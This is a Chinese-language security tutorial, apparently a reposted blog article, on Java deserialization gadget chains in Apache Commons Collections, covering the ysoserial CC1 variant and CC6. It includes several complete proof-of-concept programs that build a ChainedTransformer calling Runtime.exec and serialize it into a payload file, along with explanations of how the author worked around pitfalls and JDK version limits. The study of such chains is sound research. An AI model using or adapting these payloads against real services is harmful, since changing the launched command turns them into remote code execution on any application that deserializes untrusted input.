CC1的补充
上一次讲的是cc链的一种形式,这个补充的cc链子是yso的cc链。
这个链子确实比较麻烦,但是和我们下一步要学习的cc6有比较紧的联系。所以做一下补充,值得一提的是这个链子也确实很巧妙
我们看一下两条链子的分歧在哪里:
从ChainedTransformer.transform()开始往下和上一次讲的链子是一样的,这里就不赘述了。不一样的是transformer调用的函数从TransformedMap.checkSetValue()变成了LazyMap.get()
我们现在的目标是搜索那里调用了get方法-->也是AnnotationInvocationHandler
需要利用的点在AnnotationInvocationHandler的invoke()里面,而学完动态代理我们知道InvocationHandler是动态代理类,所以要触发invoke方法需要调用AnnotationInvocationHandler的方法就会调用invoke方法。
,具体invoke方法的调用:
这里这个细节我纠了好久,网上搜不到,最后在jdk文档里面发现了。当在与之关联的代理示例上调用方法时,将在调用处理程序中调用此方法
但是这里虽然调用任意实例的方法都会进入到invoke里面,但是具体要执行什么方法确实要斟酌一下,我们可以看一下啊AnnotationInvocationHandler的invoke方法体:
需要过几个判断,一一分析一下:
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
第一个判断是判断调用的函数是不是equals,如果是就会执行到return了,所以不能调用equals
第二个判断是判断调用的函数是否有参数,如果有则抛出异常,所以我们调用的函数也不能有参数。
然后就可以执行我们想要执行的 memberValues.get(member); 了
我们只要控制memberValues.get(member); 为LazyMap就可以了
下一步目标是寻找如何触发invoke了,很巧妙的就是刚好同样是AnnotationInvocationHandler这个类的readObject入口有一处执行了无参的方法,从这里可以调用一个无参的方法。刚刚好绕过上面的if条件。
而且这里的memberValues也是我们可以控制的,通过构造函数传参传入的。
但是触发invoke我们需要使用动态代理的类包装一下,然后再传入LazyMap
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler proxy = (InvocationHandler) declaredConstructor.newInstance(Target.class, decorate);
Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class}, proxy);
Object o = declaredConstructor.newInstance(Target.class, m);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
贴一下yso的链子:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC6
来看一下CC6的链子:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
从LazyMap开始是和这个补充的CC1一样。同样道理我们看一下分歧点在哪里
我们上一次的思路是寻找何处调用了get,并且调用get的参数可控。
我们找到了AnnotationInvocationHandler中的memberValues.get(member) 。
这次我们寻找的是TiedMapEntry中的getValue,并且这个map刚好我们可控,只要设置成LazyMap就可以完成后面的链子了。
下一步工作就是寻找何处调用了getValue,刚好也在TiedMapEntry中的hashCode中调用了getValue
而hashCode()我们十分熟悉,不就是上次URLDNS那条链子吗。简单回顾一下URLDNS:
Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
所以我们就可以通过HashMap中的put来接上TiedMaoEntry.hashCode();
我们这里是put调用hash(),然后调用同名函数hashCode(),就会走到TiedMapEntry的同名函数hashCode()
于是我们编写第一版payload:
package org.example;
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
HashMap<Object, Object> hashMap1 = new HashMap<>();
tiedMapEntry.put(tiedMapEntry,"key2");
serialize(hashMap1);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
我们发现序列化的时候会弹计算机,而反序列并不会弹计算机。。。
其实这个问题和上次的URLDNS一样,因为序列化的时候put就会走到后面的链子中。那为什么它走了一次反序列化就走不进去呢?
我们调试:
我们通过调试发现在序列化的时候会再添加一个Entry(键值对),所以反序列化的时候这里判断就会是true。
为什么添加了一个Entry(键值对)反序列的时候判断就是true了?
关于containsKey这里给出了一个例子,可以更好理解:
因为containsKey(key)这个函数是判断这个key是否添加过。这里序列化的时候就添加了,所以反序列化的时候会判断出添加过了,就不会执行if里面的语句了。
那怎么解决这个问题?
很简单,我们不能阻止它添加,但是我们可以删除他添加过的呀。所以我们可以把这个Entry删除掉。
因此我们在序列化之前添加一句:
decorate
.remove("key1");
注意这里是decorate.remover("key1");
不是hashMap("key1");
即
package org.example;
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"key2");
decorate.remove("key1");
// serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
但是我们希望在序列化的时候不会弹计算机,因为这样会影响我们判断反序列化的结果。所以我们可以改进这个代码,在序列化的时候传进去的Transformer是执行不到恶意类的,然后通过反射在put之后再修改Transformer为chainedTransformer。所以改进代码如下:
package org.example;
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorate = LazyMap.decorate(hashMap, new ConstantTransformer(Runtime.class));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"key2");
decorate.remove("key1");
Class aClass = LazyMap.class;
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
这两个链子更有趣的点在于CC6不受JDK版本限制,CC1需在jdk8u65的版本。那为什么jdk8u71之后就不能使用呢?
因为jdk8u71对AnnotationInvocationHandler的readObject做了改进。
我们看一下jdk8u71的AnnotationInvocationHandler的readObject里面哪里发生了改变
没找到8u71的openjdk就用这个反编译了
但是这个区别的理解还是比较肤浅,只能暂时到这。文章来源:https://www.toymoban.com/news/detail-489207.html
有个小坑
如果切换了jdk版本用CC1还是能弹计算器,可能是序列化的内容没有覆盖ser.bin文件,这个时候需要先把ser.bin文件删除了再序列化,此时再反序列化的话就不会弹计算器了。这个小坑感谢xioaqiuxx师傅解答文章来源地址https://www.toymoban.com/news/detail-489207.html
到了这里,关于Java安全--CC1的补充和CC6的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!